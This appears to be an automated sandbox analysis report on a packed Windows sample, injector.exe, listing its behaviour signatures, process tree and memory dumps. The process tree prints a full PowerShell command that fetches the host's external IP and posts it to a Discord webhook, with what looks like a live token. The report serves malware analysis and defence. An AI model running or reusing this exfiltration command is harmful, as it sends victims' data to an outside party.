Analysis
- max time kernel
148s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
05/09/2026, 07:24
General
- Target injector.exe
- Size 10KB
- Sample260905-h8vb4swxht
- SHA256 299d9e6e3026b7df87a0eeb99965bd0ef2daed9f94084b95441e04a32ddd5d14
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\injector.exe"C:\Users\Admin\AppData\Local\Temp\injector.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$i=(Invoke-RestMethod api.ipify.org).Trim(); Invoke-RestMethod -Uri 'https://discord.com/api/webhooks/1545456668693766277/b4r9eA2qOY5K7XdPrR-fsyWUyjSvhJxiyTrJ7KbqRBnxZBI_HjxjJRTETkxsxBzOoQfa' -Method Post -Body (@{content=$i} | ConvertTo-Json) -ContentType 'application/json'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/760-8-0x00000000056F0000-0x0000000005756000-memory.dmp
memory/760-12-0x0000000005D60000-0x0000000005D7E000-memory.dmp
memory/760-2-0x00000000048D0000-0x0000000004906000-memory.dmp
memory/760-3-0x0000000074DA0000-0x000000007555C000-memory.dmp
memory/760-5-0x0000000074DA0000-0x000000007555C000-memory.dmp
memory/760-4-0x0000000004F60000-0x00000000055AA000-memory.dmp
memory/760-6-0x00000000055E0000-0x0000000005602000-memory.dmp
memory/760-7-0x0000000005680000-0x00000000056E6000-memory.dmp
memory/760-1-0x0000000074DB2000-0x0000000074DB3000-memory.dmp
memory/760-19-0x0000000074DA0000-0x000000007555C000-memory.dmp
memory/760-11-0x0000000005820000-0x0000000005B7B000-memory.dmp
memory/760-13-0x0000000005E10000-0x0000000005E5C000-memory.dmp
memory/760-14-0x00000000074A0000-0x0000000007B1C000-memory.dmp
memory/760-15-0x00000000062B0000-0x00000000062CA000-memory.dmp
memory/760-16-0x0000000007CF0000-0x0000000007EB2000-memory.dmp
memory/760-17-0x00000000083F0000-0x000000000891C000-memory.dmp
memory/4548-0-0x0000000000400000-0x000000000040E000-memory.dmp
memory/4548-21-0x0000000000400000-0x000000000040E000-memory.dmp